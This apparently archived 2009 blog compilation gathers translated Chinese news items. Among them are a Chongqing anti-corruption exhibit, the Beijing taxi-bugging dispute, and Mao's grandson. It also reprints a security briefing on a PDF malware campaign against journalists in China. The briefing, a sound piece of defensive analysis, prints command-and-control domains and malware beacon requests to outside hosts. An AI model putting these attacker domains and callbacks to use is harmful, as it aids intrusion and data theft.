At around noon on September 25, a post appeared at the Tianya Forum entitled: <Absolutely live -- city public security bureau displays results from anti-crime campaign>. It was written: "Yesterday morning I was fortunate to be invited to attend the exhibit of anti-crime campaign results by the public security bureau. Before we went there, our team leader told us repeatedly that filming was not allowed. But I kept a card up my sleeve by bringing my card camera there. After I went inside, I found that there were many monitors who gave me virtually no chance to take photos. Nevertheless, I managed to take some photos.
The courtyard has 65 cars ranging from Maseratis to Bentleys, which were chosen from the 166 that have been impounded.
Dinosaur egg fossil accepted by former Chongqing Justice Department director Wen Qiang
Previously, <Time Weekly> magazine reported: As of September 19, the Chongqing city public security bureau was holding an exhibit of the anti-crime campaign results in their courtyard. The attendees were stunned by the display of luxury goods. According to the report, this was a low-profile event and the attendees were restricted to police officers, their family members, People's Congress representatives and Communist Party Political Consultative Conference representatives. Citizens and media were not allowed. The police also declined to comment to the media. All attendees were asked not to disclose what they saw to the outside.
But the following is the best known item of the lot. It has achieved legendary status on the Internet. The placard said: "The actual material found by dredging the fish pond as reported on the Internet -- the criminal suspect Wen Qiang's huge stash of cash." The story of this stash was first reported in Hong Kong's <Ta Kung Pao> on September 4. The reporter said that Wen Qiang's wife led the investigators to a deep fish fond next to the expressway leading to the airport. The team spent two days to dig out the bundle of cash from the mud at the bottom of the pond. "Almost 20 million yuan!" An investigator said. "Each stack was carefully and tightly wrapped in oilpaper so that water cannot seep in. They spent a long time wrapping the money up and they hid it in such a special place. If they did not talk, nobody would have found it. He was truly a veteran crime investigation policeman."
(Wenxue City) On September 27, 2009. Tsinghua University students rehearsing for National Day.
The people of China are standing up from now on
Long live Mao Zedong thought
(Ming Pao via DWnews)
The news that there will be a square formation holding up "Long live Mao Zedong thought" at the National Day parade has created a stir on the Chinese Internet. Many leftists cheered a major turning point in history. Other leftist liberals are worried that this may signal a left turn for the Hu Jintao-Wen Jiabao administration. But it seems that both the left and the right are over-estimating the symbolic meaning here.
No matter how controversial Mao Zedong is, there is no doubt that he was the "founding father" of the People's Republic of China. No matter how many crimes that Deng Xiaoping, Hu Yaobang and Zhao Ziyang can list for Mao Zedong (including repudiating one of Mao's greatest accomplishments -- the Great Proletarian Cultural Revolution), they did not engage in a full-fledged criticism campaign. Deng Xiaoping even said, "Without Chairman Mao, we the Chinese people would have to grope in the dark even longer." The Chinese Communist Party leaders may have abandoned or revised Mao Zedong thought over the past 30 years, but they did not dare to fully renounce Mao Zedong and his thought.
At present, there is much injustice and discontent in China. This has caused citizens to adore and remember Mao Zedong (because his was an era with greater equality and apparent public content). But it would be absurd to think that a parade formation carrying "Long live Mao Zedong thought" means a major policy change for the central government. Last year, at the 30th anniversary of the commencement of the reform/opening, Hu Jintao had defined the path: they will not go down the old conservative rigid path nor will they take the deviant path of big changes. All the leftists and rightists who adore/remember/hate/oppose Mao Zedong inside and outside China will ultimately be disappointed.
So I have going to make a list of my ten favorite books. This actually came about during a media interview some months ago when I was asked to provide such a list. I thought about the list, but I never passed it along. One reason is that I am of an age such that many of these books are unlikely to be known by people today.
So here it is (in no particular order):
1. On Being Swedish - Paul Britten Austin
2. On Photography - Susan Sontag
3. Memoirs of Hadrian - Marguerite Yourcenar
4. The Book of Disquiet - Fernando Pessoa
5. Markings - Dag Hammarskjöld
6. Pale Fire - Vladimir Nabakov
7. Mating - Normaln Rush
8. The Alexandria Quarter - Lawrence Durrell
9. Family Sayings - Natalia Ginzburg
10. 野火集 龍應台
I am quite confident that none of my readers have read On Being Swedish, which went out of print a long time ago. What is its attraction for me? Well, for one thing (or in my view at least), it has little or nothing to with Sweden at all. Here is some excerpts that I have copied by hand into my notebook:
A Swedish academic thesis has a style all its own. No document is more valuable, or more boring. From its pages all traces of personality have ruthlessly been excised. Everything based on supposition or mere personal experience it rejects as subjectiv - no word in the Swedish dictionary is more pejorative unless it be mystisk, mystik (mystical , mysticism), the ultimates of dishonesty. It damns utterly any insight to which it might be said to adhere. Det torde inte gå för långt att kunna påstå ... man kanske skulle kunna t.o.m. våga säga ("it would seem to be going too far to assert ... perhaps one can even go so far as to dare to say ..."), such are the phrases which announce, sometimes, the most miniscule of truths. And the conclusion: "Research has shown that what is needed is ... more research."
"In as much as our dealings with others consist mainly in discussing and evaluating each other's behaviour," writes Professor Isak Borg in his diary, in the opening of Ingmar Bergman's Wild Strawberries, "I have of my own free will withdrawn from all intercourse with my fellow men." The film traces with devastating accuracy the ravages which such emotional withdrawal has caused in his own and his children's lives. Like Pär Lagerkvist's Barabbas, whose tragedy, too, is that he cannot commit himself, and like innumerable other Swedish heroes, the Professor becomes a victim of isolation.
BORG: What is my crime?
The INQUISITOR: Indifference, egoism, lack of consideration of others.
BORG: And the penalty?
THE INQUISITOR: The usual thing. Loneliness.
Ensamhet, loneliness, isolation. A vast Swedish theme, the aching, ubiquitous counter-subject, one might say, to Swedish socialism.
Correspondence columns of magazines, particularly of women's magazines, are full of the threnodies of lonely-hearts. 'Dear Mr. Editor. I suffer from kontaktsvårigheter (difficulty in making contact with others). What shall I do? Is there something wrong with me? Am I "different"? Why do I find it so hard to be natural in the presence of other people? So hard to communicate?'
What is the tap-root of this compulsive Swedish loneliness? Why can a Swede, sitting in company and looking melancholy, declare that he (or she) ibland känner sig så ensam - sometimes feel so desperately cut off? This is explained by the traumatic transition from a primitive backwoods culture to futuristic urbanism. For centuries the Swedes lived in tiny hamlets, widely separately from each other by vast tracts of forest and lake. At the beginning of the nineteenth century even the small villages were broken up, the better to till the available soil. This dispersion increased the solitude and isolation resulting from the vastness of the country and the scarcity of its population, and made the Swedes still more unsociable, self-centered and inclined to day-dreaming. Half a century ago, almost the whole nation lived in such solitudes. Now two-thirds have suddenly moved into town. They have brought with them, one feels, their isolation. Distances, more physical, have been introjected, swallowed. Loneliness has become spiritual. It is not perhaps that one is more lonely than before, but that, amid the crowds, one is suddenly aware that one is lonely -- and ought not to be.
In these tiny flats, cut off by echoing stone corridors, jangling telephones, doors where only the names -- inscribed on uniform name plates -- differ, he is as effectively cut off from this neighbours as in a tomb. One comes across individuals who, literally, never seems to talk to a soul.
But perhaps the deepest roots of ensamhet lie in the Lutheran past. By its very premises Lutheranism is an unmetaphysical, anti-theological religion. To this circumstance much of the cleavage between thought and feeling, intellect and insight, which so confessed bedevils the Swedish character, must be directly attributed. To Luther, God is the unknowable world-daemon who must be placated but cannot known or reasoned with; so no purpose can be served by thinking about his nature":
There was an abyss between these refined and general laws of thought and the fanatical irrational faith of Luther. For practically the whole of the sixteenth century Lutheranism did not dare to think about the Christian God, or the Trinity, or the Incarnation, or the doctrine of salvation. Once the first excesses of religious feeling and sentiment and broken-hearted contrition were over and there were no further violent eruptions, no more experiences of conversion, chaos naturally followed. There was an unbearable tension between the richness below, in the subconscious, the soul and the yearning of the heart and the rigorously enforced emptiness above (Friedrich Heer, An Intellectual History of Europe).
<See Through> (note: the literal Chinese title is <Strike, Strike A Big Watermelon>) is an anti-war animated movie with exceptional scenes and creativity. Here is the plot outline: Two hegemons started a world war in a turf battle. Two pilots from opposite side ended up on a small island together. These deadly enemies became good friends. This animated movie used humor to express disgust against war.
The author of <See Through> is Jokelate. He spend three and a half years of his time to create this 16 minute animated movie. He graduated from the School of Medicine at the Huashi Medical University. In this third year at university he began to learn to do computer graphics (CG) animated movie. After graduation, he worked at an advertising agency for a year and then he left his job to devote his time to creating <See Through>. He did so because he had the idea of creating an original animated movie.
During those three years or so, Jokelate did not have any other income. He only had his and his parents' savings to work from. He said, "Over the past three and a half years, my life centered around three spots: the living room, the bedroom and the bathroom."
Jokelate said: "My father passed away when I first started working. My mother is retired and receives 1,000 yuan in retirement benefits. She lived with me, and we spent as little as possible. I basically did not buy any clothes. My mother took care of the food by looking for special sales times at the supermarket. We were basically vegetarian, which is both economical and healthy. We lived in an apartment that my parents bought with their savings along with a bank mortgage. The monthly loan payments is more than 700 yuan, which is half of our monthly expenses. I don't travel, because only rich people do that. I have not gone more than 40 kilometers away from my home over the past three and a half years. Entertainment is unavoidable, so I attend book conferences and music concerts; watch movies, cartoons and occasionally play some games. I look for the cheapest entertainment. I don't play online games because they take up too much time and money. I don't even have Internet access at home. If I needed to get on the Internet, I go to a friend's house. When I entertain myself, I am also learning continuously."
The Chinese animation industry has been criticized as lacking in creativity or financial prospects. Jokelate thinks that the "greatest weakness of Chinese animation is that they are 'lousy'."
He thinks that the so-called short-term profit-driven vision, the prevalence of piracy, the non-existence of a product chain and other issues are just excuses that animation workers make up. He said that the Chinese animation workers need to look within themselves to find the answers. The basic problem is that Chinese animations are lousy. "In a globalized economy, if China makes good animations, it hard not to make money." Jokelate said.
Part 1 of 2
Part 2 of 2
Targeted Malware Attack on Foreign Correspondent's based in China
By Nart Villeneuve (email@example.com) and Greg Walton
(firstname.lastname@example.org) | Sept. 26, 2009.
There have been recent reports of malware attacks on journalists based in China. The attacks specifically targeted Chinese employees working for media organizations, including Reuters, the Straits Times, Dow Jones, Agence France Presse, and Ansa. These employees received an email from "Pam <email@example.com>" who claimed to be an editor with the Straits Times, that came with a PDF attachment that contains malware. When opened, malicious code in the PDF exploits the Adobe Reader program and drops the malware on the target’s computer.
These attacks correlate with reports of increased security measures within China as a result of the 60th anniversary of the founding of the People's Republic of China.2 These increased security measures have also been extended to the Internet, with providers of anti-censorship technology reporting increased levels of blocking that prevents people from accessing the web sites of foreign media and news organizations.
This short briefing from the Malware Lab and the Information Warfare Monitor analyzes a sample from one of the attacks on behalf of an international news agency that operates in China, and a member of the Foreign Correspondents Club in Beijing.
* The content of the email, and the accompanying malicious attachment, are in well written English and contain accurate information. The email details a reporter’s proposed trip to China to write a story on China's place in the global economy; all the contacts in the malicious attachment are real people that are knowledgeable about or have a professional interest in China's economy.
* The domain names used as “command & control” servers for the malware have been used in previous targeted attacks dating back to 2007. The malware domain names, as in previously documented cases, only resolve to real IP addresses for short periods of time.
* The malware exploits vulnerabilities in the Adobe PDF Reader, and its behaviour matches that of malware used in previous attacks dating back to 2008. This malware was found on computers at the Offices of Tibet in London, and has used political themes in malware attachments in the past.
* The IP addresses currently used by the malware are assigned to Taiwan. One of the servers is located at the National Central University of Taiwan, and is a server to which students and faculty connect to download anti-virus software. The second is an IP address assigned to the Taiwan Academic Network. These compromised servers present a severe security problem as the attackers may have substituted their malware for anti-virus software used by students, employees, and faculty at the National Central University.
The email sent to the foreign correspondents from "Pam <firstname.lastname@example.org>" appears to be customized and targeted. The context of the letter and the attached PDF, “Interview list.pdf” is specific to journalists. The email itself is focused on setting up meetings for journalists in China, and the attached PDF contains a list of genuine contacts in China that relate to the context of the email. The name of the hotel and its address are accurate. Moreover,
the purpose for the trip to China, to research the “annual economic survey,” correlates with the World Economic Forum's release of its “Global Competitiveness Report” on September 8, 2009 and the conference that followed in Dalian, China on September 10-12, 2009.
The PDF contains malicious code that exploits Adobe Acrobat and drops malware on the target’s computer. Only 3 of 41 anti-virus products used by Virus Total detected the malicious code embedded in the PDF.
When opened, the PDF displays a list of contacts. The contacts listed in the PDF appear to be genuine. All the names and titles in the document are accurate. However, some appear to be former positions held by the individuals, indicating that the document is somewhat dated. It is possible that this document is a legitimate document stolen from a compromised machine, modified to include malware, and used as a lure to entice people to open the malicious attachment.
After opening the attachment, malware is silently dropped on the target's computer.
The malware attempts DNS resolution for three domains:
mail.amberice.com, menberservice.3322.org, and zwy2007.pc-officer.com.
Often the domain names will not resolve to proper IP addresses; other times they will resolve only for a short period of time. In this case, two of the domain names eventually resolved:
menberservice.3322.org | 184.108.40.206
zwy2007.pc-officer.com | 220.127.116.11
The domain name zwy2007.pc-officer.com resolves to 18.104.22.168 which is an IP address assigned to the Taiwan Academic Network, Ministry of Education Computer Center. The malware was unable to make successful connections to this IP address.
However, the domain name “pc-officer.com” is a well known malware domain name that has been used in previous attacks. In 2007, Maarten Van Horenbeeck investigated cases of targeted attacks that used a “petition to the International Olympic Committee on Chinese human rights violations” as the theme. In those cases, the malware attempted to connect to:
ding.pc-officer.com | 22.214.171.124
The same DNS techniques were used – the domain names only resolved to real IP addresses for a short period of time.
A similar case was investigated by F-Secure earlier this year. In that case, the domain names that the malware attempted to connect to were:
feng.pc-officer.com | 126.96.36.199
feng.pc-officer.com | 188.8.131.52
The same DNS techniques were used – the domain names only resolved to real IP addresses for a short period of time.
The domain menberservice.3322.org eventually resolved to 184.108.40.206, which reverse resolves to avirus.is.ncu.edu.tw. This location (https://avirus.is.ncu.edu.tw:4343/officescan/console/html/ClientInstall/) is at the National Central University of Taiwan, and it is used by students and faculty to download anti-virus software. This is potentially a severe security problem, as the attackers may have substituted their malware for anti-virus software for use by students, employees, and faculty at the National Central University.
The malware connects to this location and begins sending and receiving information:
POST http://menberservice.3322.org:8000/LFDXFiRcVs3902.rar HTTP/1.1
User-Agent: Mozilla/4.2.20 (compatible; MSIE 5.0.2; Win32)
HTTP/1.1 200 OK
Date: Tue Sep 22 21:41:10 2009
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux)
The malware matches behaviour documented by ThreatExpert earlier this year.10 Documents with names such as "Urgent Appeal to Secretary Hillary Clinton.doc" and "Days with ITSN Tibet in My Eyes.doc" contained malware that connected to mmwbzhij.meibu.com on ports 8585 and 8686.
http://mmwbzhij.meibu.com:8686/[random characters].[random file extension]
where [random characters] string may look similar to:
and [random file extension] can be any of the following: rm, mov, mp3, pdf.
This matches behaviour that the Information Warfare Monitor documented in the “Tracking GhostNet” report11 after analyzing a compromised computer at the Offices of Tibet in London, U.K. In that case, there were connections to oyd.3322.org which resolved to 220.127.116.11 on port 4501:
POST http://oyd.3322.org:4501/TkBXPPXkRL14509.pdf HTTP/1.1
User-Agent: Mozilla/4.8.20 (compawhichplatform.htmtible; MSIE 5.0.2; Win32)
HTTP/1.1 200 OK
Date: Wed Oct 01 23:05:15 2008
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux)
A follow-up visit to OOT-London found another malware infection connecting to mmwbzhij.meibu.com which resolved to 18.104.22.168 on port 8686:
POST http://mmwbzhij.meibu.com:8686/yDFDcVoFma29957.mp3 HTTP/1.1
User-Agent: Mozilla/4.8.20 (compatible; MSIE 5.0.2; Win32)
HTTP/1.1 200 OK
Date: Fri Apr 10 22:49:22 2009
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux)
The domain names 3322.org and meibu.com are dynamic DNS services that allow the attackers to map domain names to IP addresses they control. In these cases, the attackers are not required to register domain names. Attackers typically favour dynamic DNS services such as these. The attackers have pointed these domains to IP's on the networks of Black Oak Computers Inc, CA, USA, and C&M Communication Co., Ltd., Korea, in addition to the Taiwan Academic Network.
The control servers on pc-officer.com have, in the past, resolved to IP addresses on One Eighty Networks, WA, USA, KIDC, Korea and HINET, Taiwan, in addition to the National Central University of Taiwan's server where students and faculty download anti-virus software.
In general, determining attribution in these types of attacks is difficult. Analyzing domain registration and other contextual information can occasionally provide some useful leads.
The domain names pc-officer.com and amberice.com were registered in 2007 to “wei zheng” using the email address “email@example.com” and the phone number “86-010-4564654.” There are some links between these data
and the registration data in other domain names. For example, “wei zheng” also registered “fclinux.com” with the email address “firstname.lastname@example.org” and the phone number “86 10 13810358162.” This “wei zheng” also registered “winxpupdata.com” with the phone number “86 10 13810358162” with the email address “email@example.com.” A variety of domain names, such as ag365.com, are registered to “Hetu Time Networking Technology Ltd.” in the name of “lin long” with the email address “firstname.lastname@example.org.” However the technical contact is “lin hai” with the email address “email@example.com.”
It is unclear what the connection is here as “hetu.cn” is a domain registrar and hosting company. It is possible that the information is not connected to the attackers, but others who have been compromised by the attackers.
There is another avenue of inquiry that impacts attribution. It is not clear how the email addresses of the recipients, who are local employees for foreign journalists, were acquired by the attackers. The Reuters news story about the targeted email attacks makes an important point about those who were targeted:
The "Pam Bourdon" emails on Monday targeted Chinese news assistants, whose names often do not appear on news reports and who must be hired through an agency that reports to the Foreign Ministry.
Considering that the contact information of these assistants was not publicly known, but was known to China's Foreign Ministry, an element of suspicion is raised concerning the involvement of the latter. However, there are alternative explanations for how the attackers were able to assemble the list of contacts. These attackers have been actively compromising targets since at least 2007, and likely compile lists of new targets from information acquired through previous exploits. In fact, the accuracy of the email used in this case, and the malicious attachment, suggest that the attackers leveraged information stolen from previously compromised computers.
There is no evidence that directly implicates the government of China in these attacks.
However, both the timing and targets of the attack do raise questions. With the 60th anniversary of the People's Republic if China fast approaching, it is difficult to dismiss attacks on high profile media targets such as Reuters, the Straits Times, Dow Jones, Agence France Presse, and Ansa as random events. These organizations were targeted directly, but the motivation of the attackers remains unknown. Furthermore, the use of compromised servers at the National Central University of Taiwan and the Taiwan Academic Network will no doubt add to an already tense relationship between China and Taiwan.
Greg Walton is the Editor of The Infowar Monitor (http://www.infowar-monitor.net/). The Information Warfare Monitor is a joint project of the Advanced Network Research Group, part of the Cambridge Security Programme, The SecDev Group and the Citizen Lab, an interdisciplinary laboratory based at the Munk Centre for International Studies, University of Toronto.
(The Wall Street Journal) Beijing Taxis Are Rigged For Eavesdropping. August 6, 2008.
Tens of thousands of taxi drivers in Beijing have a tool that could become part of China's all-out security campaign for the Olympic Games. Their vehicles have microphones -- installed ostensibly for driver safety -- that can be used to listen to passengers remotely.
The tiny listening devices, which are connected to a global positioning system able to track a cab's location by satellite, have been installed in almost all of the city's 70,000 taxis over the past three years, taxi drivers and industry officials say.
As with digital cameras used in cities such as London, Sydney or New York, the stated purpose of the microphones is to protect the driver. But whereas the devices in other countries can only record images, those devices in Beijing taxis can be remotely activated without the driver's knowledge to eavesdrop on passengers, according to drivers and Yaxon Networks Co., a Chinese company that makes some of the systems used in Beijing. The machines can even remotely shut off engines.
Whether these microphones are used to spy on riders is unclear. Asked if police could listen in on conversations in taxis, a Beijing police official declined to comment, saying that such matters were "confidential" and that they were "not supposed to release such details to the public."
Several Beijing taxi companies declined to comment on the security aspect but said that the GPS helps track taxis and that the microphones will be used for translating services. About a dozen taxi drivers said the microphones were installed about three years ago, when newer cabs were built without protective metal cages around the drivers. Cabbies can turn on the system and alert their dispatch centers by touching a discreet button near the steering wheel.
Activists say they are concerned about the ability to listen to conversations with the devices, which appear unique to China. "This seems to suggest an effort by the police or other security forces to eavesdrop on conversations of passengers, rather than for the immediate safety and security of the taxi driver," said Phelim Kine of Human Rights Watch.
One Beijing taxi driver said he would be uncomfortable if the device in his vehicle could snap pictures of the riders. "I wouldn't want to take a photo of my passengers without their knowledge," said the driver, wearing the new shirt and tie the drivers are required to don during the Olympics. "Wouldn't that violate their human rights?"
Yaxon Networks, based in Xiamen in Fujian province, says on its Web site that its devices allow the police or a service center to "judge if the driver is in danger" through remote surveillance or wiretapping. If it is necessary, the service center can immobilize a taxi remotely by "cutting off the oil or electric supply," the company adds.
(Individual.com) "Beijing taxis are bugged" - Hong Kong editorial. September 25, 2009.
[Editorial: "Beijing Taxis are Bugged"; this is a source-supplied translation, carried on the "English Page" of the 25 September Ming Pao, of an editorial that originally appeared in Chinese in the 24 September Ming Pao in Chinese p A3; the two versions are identical, with one exception: The title of the Chinese-language editorial reads "The Bugging of Beijing Taxis Should be Put to a Halt Since It Will Damage Image"; headline as provided by source]
Next Thursday is the 60th anniversary of the foundation of the People's Republic of China. To make sure that nothing untoward will happen on National Day, the authorities have raised the alert level in all places on the mainland, especially in Beijing, the capital. They have taken special security measures. As things are complicated on the mainland and elsewhere, it is understandable for them to have done so. However, in Beijing, not only do the authorities monitor subway carriages, but they have also had microphones installed in all taxis. They listen in on fares' conversations. This measure is questionable. It violates privacy and strengthens the unfavourable impression that, in China, an omnipresent Big Brother keeps the people under constant surveillance.
In recent years, radical Tibet and Xinjiang separatists have chosen to cause trouble and disruption on big days to arouse international attention. For example, when the Beijing Olympiad took place last year, Tibet separatists caused trouble abroad and Xinjiang separatists at home to spoil the atmosphere of the event. Against such a backdrop, it is understandable for the mainland police to have tightened security and displayed their frightening capability against National Day.
It has recently been discovered that every taxi in Beijing has been fitted with a mini-microphone. It is connected to a global positioning system and directly linked to the Beijing Municipal Public Security Bureau's information centre. Beijing citizens' and visitors' private conservations may have been transmitted to the authorities, though they may know nothing about that. We gather that some Beijing taxis were bugged last year when the Beijing Olympics took place. Now all Beijing taxis have been bugged against National Day. The device, originally installed to ensure the cab driver's personal safety, is now used to listen secretly to what he and his fares say in his cab. This measure violates human rights.
Last August, the Beijing authorities had all subway carriages bugged and began to monitor all of them. The purpose of doing so is to allow the police to ascertain what has happened in the case of an emergency and immediately take appropriate action. The media have reported on this measure, to which Beijing citizens have no objections. Taxis are public transport, as is the subway. As subway carriages are public places frequented by large numbers of people, one may say it is in the public interest to monitor them. However, since there are only one driver and at most four riders in a taxi, the inside of it counts as a private place. It may therefore violate privacy to monitor cabs.
It is a concern whether information gathered with such monitoring devices would be misused. This point is crucial. In places where the rule of law is not upheld, such information is often used against common people. Clearly, in this respect the mainland inspires little confidence. Bugs in taxis are directly threatening, and they make people very uneasy.
Many feel watched when they are on the mainland. However, if you ask them how they are actually watched, they may say they just have the feeling. They can produce little evidence. The "taxi monitoring system" is new and tangible. It reinforces the impression that, in China, an omnipresent Big Brother keeps the people under constant surveillance. That is a very bad impression of China. The 60th anniversary of the foundation of the People's Republic is a joyous day, but Beijing citizens and visitors will spend it under the Big Brother's surveillance. That will certainly make the day less joyous. To avoid further damaging China's image, the Beijing authorities must stop monitoring taxis as soon as possible.
(Beijing Evening News) The Western Media Really Have Imagination, They Think The GPS Devices In Taxis Are Eavesdropping Devices. September 27, 2009.
Recently, overseas media claimed that eavesdropping microphones have been installed on all Beijing taxis on the eve of National Day (October 1) for the purpose of listening in on the conversations of passengers. Certain irresponsible Chinese websites and blogs have also posted this same information. Yesterday, Beijing Traffic Management Bureau deputy director Sui Yagang told the overseas media reporters that this rumor is false.
"I have never heard of the situation that you described." When the overseas reporter brought up the rumor about the "eavesdropping devcies," Sui Yagang made a solemn response.
According to what the overseas media reporter said, the so-called "eavesdropping device" refers to a microphone-like equipment placed on the front window of the taxi. Sui Yagang said that this device was an ordinary GPS device which was installed to collect road traffic conditions.
Sui Yagang explained: The Traffic Management Bureau measures traffic volume by placing monitoring devices on the major expressways and roads which provide traffic information by checking the installed equipment in the taxis.
Also, the GPS device in a taxi enables the taxi driver to determine his position, which is an effective measure to protect the personal safety of the driver as well as the passengers.
A veteran Beijing reporter heard about this rumor and was perplexed: "I have seen this device on taxis several years ago. How can they say that the equipment is being installed for this year's National Day?"
The Internet search engines also showed that overseas media made similar sensationalistic reports during the Beijing Olympics last year. The detailed descriptions as well as the editorial comments were almost identical to the most recent reports.
An American Chinese wrote that the taxis in many countries around the world also have GPS devices with bidirectional microphones. This is particularly commonplace in the United States, where there does not seem to be any media complaints about "eavesdropping" on passenger conversations. So certain overseas media seem to have a special imagination when it comes to China, but those rumor mongering reports cannot stand up to investigation.
Related Link: Where In The World Are You? By Terry Smythe. September 1992.
A major weakness of taxi driver safety has been that a driver's work station is not stationary. It moves around, and if a driver is in trouble, the ability to bring help to him quickly is not now possible. It is absolutely critical that help be converged on a driver in trouble within a scant few minutes. To do that, it is absolutely imperative that his precise location be pinpointed the instant a driver in peril triggers his emergency alarm.
This simplest of GPS systems, that having the sole purpose of broadcasting a location signal for a driver in peril, may be triggered by an emergency alarm switch. Only then would the signal be broadcast, immediately alerting his dispatcher, who in turn can immediately alert the police and his nearest colleagues. Even if the driver is directed under threat to drive an evasive pattern, a show of force can be quickly dispatched to his immediate surroundings, hopefully inspiring the surprised assailant to surrender peacefully.
At modest additional cost, triggering the emergency alarm can also initiate additional features aimed at minimizing the peril of a driver under an assailant's control. The taxi's voice reception system can be terminated, so that the dispatcher can "listen in" to what is going on inside the cab. Even if the assailant rips out the visible microphone, the dispatcher can still "listen in" through a second microphone hidden in the cab. Alternately flashing tail lights might also be triggered at the same time.
A recent YouTube video of a Hong Kong girl complaining to a store manager about merchandise pricing became red-hot. Within a mere twenty hours, there were almost 40,000 viewings plus more than 3,000 comments at the discussion forums. Most netizens were repelled by the "agressiveness" of the Hong Kong girl. Some netizens even started to post personal details (including photos) of the girl in order to obtain "justice" for the store manager.
This video lasts about 5 minutes. It was taken by a Hong Kong girl and uploaded onto Yutube. The contents was a dispute between herself and the male manager of a construction materials store over differences in prices between two different stores of the same chain. The video began with a close-up shot of a business card for the store, followed by a close-up of the store sign. The video then turned to a man who appeared to be the store manager. As the Hong Kong girl filmed, she questioned the store manager why the price for a certain product was more expensive than the Mongkok branch of the chain. The Hong Kong girl also complained that the store manager called up the Mongkok branch in order to prevent her from getting the cheaper price. In the video, the Hong Kong girl aggressively went after the store manager, who was very patient in his explanations.
No matter the rights or wrongs of this case, the aggressiveness of the Hong Kong girl caused her to lose sympathy with the public. This is particularly true of these words: "I am a customer. You open your door in order to conduct business. I ask you to do something but you failed."
When the Hong Kong girl saw the reaction, she quickly removed the video. But other netizens uploaded it again. Yesterday noon, the Hong Kong girl apologized on her blog and admitted that she was inconsiderate. She explained: "From start to end, it was a matter of principle. I was not happy with with how he handled it, and I did not care about the price difference."
Girl: As for him, he started cursing because this customer told him that his price was different from that in Mongkok. He even called names.
Manager: Please do not say that irresponsibily.
Girl: I don't mind if you call the police. I am a customer. You open your door in order to conduct business. I ask you to do something but you failed.
Manager: We don't need to call the police.
Girl: What are you so afraid?
Manager: I am not afraid. I only want to talk to you about something ...
Girl: You know that I am recording this? What is wrong with me telling you that I am not recording this?
Girl: That is to say, you are upset that I bought something at a lower price.
Manager: Of course, I don't mind.
Girl: As a customer, I was able to obtain a price of 350 dollars. I should have the right to buy a wash basin at 350 dollars.
Manager: I told you that there is no mistake. They put the wrong price on.
Girl: If I am not wrong, then why are you obstructing me?
(New York Times) Mao's Grandson Rises in Chinese Military. By Andrew Jacobs. September 24, 2009.
He enjoys generous helpings of red braised pork, collects Chinese fans and keeps an unapologetically patriotic blog. Now Mao Xinyu, the 39-year-old grandson and only surviving male heir of Mao, appears to have become the youngest major general in the People’s Liberation Army, according to the state media.
Although his elevation has not been officially announced by the military and some Web sites have dismissed it as a rumor, the news was reported Thursday by the Changjiang Daily, a state-run newspaper, and has been among the top news items on Chinese Web portals as the nation prepares to celebrate the 60th anniversary of the revolution that brought Mao and the Communists to power.
A historian trained at the Central Party School and a steadfast guardian of Mao’s political thought, the younger Mao is one of the Great Helmsman’s four grandchildren. Although the official media afford him considerable respect, he is the object of some derision among other Chinese, who lampoon what they call his mediocre performance as a student, his unkempt ways and his prodigious girth; in recent years, his weight has exceeded 220 pounds.
Reaction to the news, posted anonymously on Chinese Web sites, was rife with sarcasm. “An excellent role model of our army, an unparalleled military leader and theorist of very high quality,” one comment read.
Many took note that General Mao has a son and a daughter in a society where most families today have only one child, a result of population control policies put in place after his grandfather’s death.
(Global Times) Chairman Mao's grandson holds same military rank. By Liu Dong. September 25, 2009.
Reports that Chairman Mao's only grandson was promoted to the rank of major general was dismissed as false, the Hong Kong-based Wen Wei Po said on Thursday.
Some media reports, both in China and abroad, said that Mao Xinyu, 39, was promoted from senior colonel to major general, thus possibly becoming the youngest to hold that rank in the People's Liberation Army.
Mao's secretary, Guo Jingliang, confirmed on Thursday that despite being introduced last year as the deputy director at a department on war theory and strategic research of the Academy of Military Sciences, Mao still holds the rank of senior colonel. Guo said Mao has corrected journalists who addressed him as a major general during interviews. "I hope the focus would be on Mao's remarkable academic achievements instead of the speculation and hype about promotions,"he said.
(South China Morning Post) Singers apologise after fight filmed by media. By Vivienne Chow. September 25, 2009.
The police will investigate a street fight between Canto-pop singer-songwriter Justin Lo Ting-wei and Taiwanese-based Malaysian-Chinese singer Gary Chaw Ge. They both apologised yesterday.
Central district's deputy commander, Superintendent Felix Law Cheuk-hung, said the police would investigate the fight, which was caught by paparazzi following the singers from Central to Admiralty early on Wednesday morning. "At this point, we have received no reports on the case, and the only information we have comes from the media," Law said. "We need to find out what was really going on." But he said: "fighting on the street is ... a crime." A police spokesman said officers would contact the people involved and witnesses.
Chaw, 30, publicly apologised last night. "I want to apologise to Justin, his family, record company, friends and fans," he said. "I apologise to my record company, the people of Hong Kong, Taiwan and mainland China who have seen the news and saw the photos. I've made a serious mistake."
Chaw did not go into detail on what provoked the fight, saying it was a misunderstanding. But he admitted that he had been drinking. He said he would seek professional help on his drinking if necessary and was prepared to co-operate with police.
Lo's record company, Gold Typhoon Entertainment, said it reserved the right to take legal action against Chaw, as Lo was the victim.
Chaw said he had kicked Lo in the groin, and Lo did not attempt to hit back. Lo, 33, said on the radio: "I, Justin, apologise for our behaviour, to our fans and society. No matter how serious the argument is, fighting on the street is wrong and ugly. It was a very stupid thing to do."
Lo said he and Chaw had been jamming at a jazz bar and the fight was caused by misunderstandings among a group of friends. At about 1am on Wednesday morning, the pair were reportedly at a bar on Peel Street, Central. Reporters filmed Chaw apparently having an argument with Lo outside Peel Fresco Music Lounge and pushing him to the ground. In another video clip, the singers were seen taking a taxi together to leave Central. The taxi stopped at Admiralty, where Chaw was seen getting out and stamping on someone sitting inside. Chaw was also seen threatening Lo with a road sign, but then put it down. The pair were separated by friends and Chaw was escorted back to his hotel in North Point.
Gold Typhoon's chief executive for Hong Kong, Chan Fai-hung, said it had not been a serious fight and the two remained friends. Lo is the godfather of Chaw's son.
(Associated Press) 3 with Japanese news agency assaulted in Beijing. By Henry Sanderson. September 19, 2009.
Three employees from the Japanese news agency Kyodo were assaulted in their Beijing hotel room as they tried to cover a rehearsal of a military parade celebrating 60 years of China's communist rule, the news agency said Saturday.
The three were kicked and made to kneel Friday evening at the Beijing Hotel, close to Tiananmen Square at the heart of Beijing, Kyodo reported.
Yasushi Kato, bureau chief of the Kyodo News Beijing office, told The Associated Press several men stormed into the hotel room after one of the journalists opened the door, but they did not identify themselves. Kyodo reported they destroyed two computers by throwing them into the corridor.
Kato said a reporter and a cameraman were Japanese and the third was a Chinese assistant.
China has been preparing for the Oct. 1 celebration with tightened security.
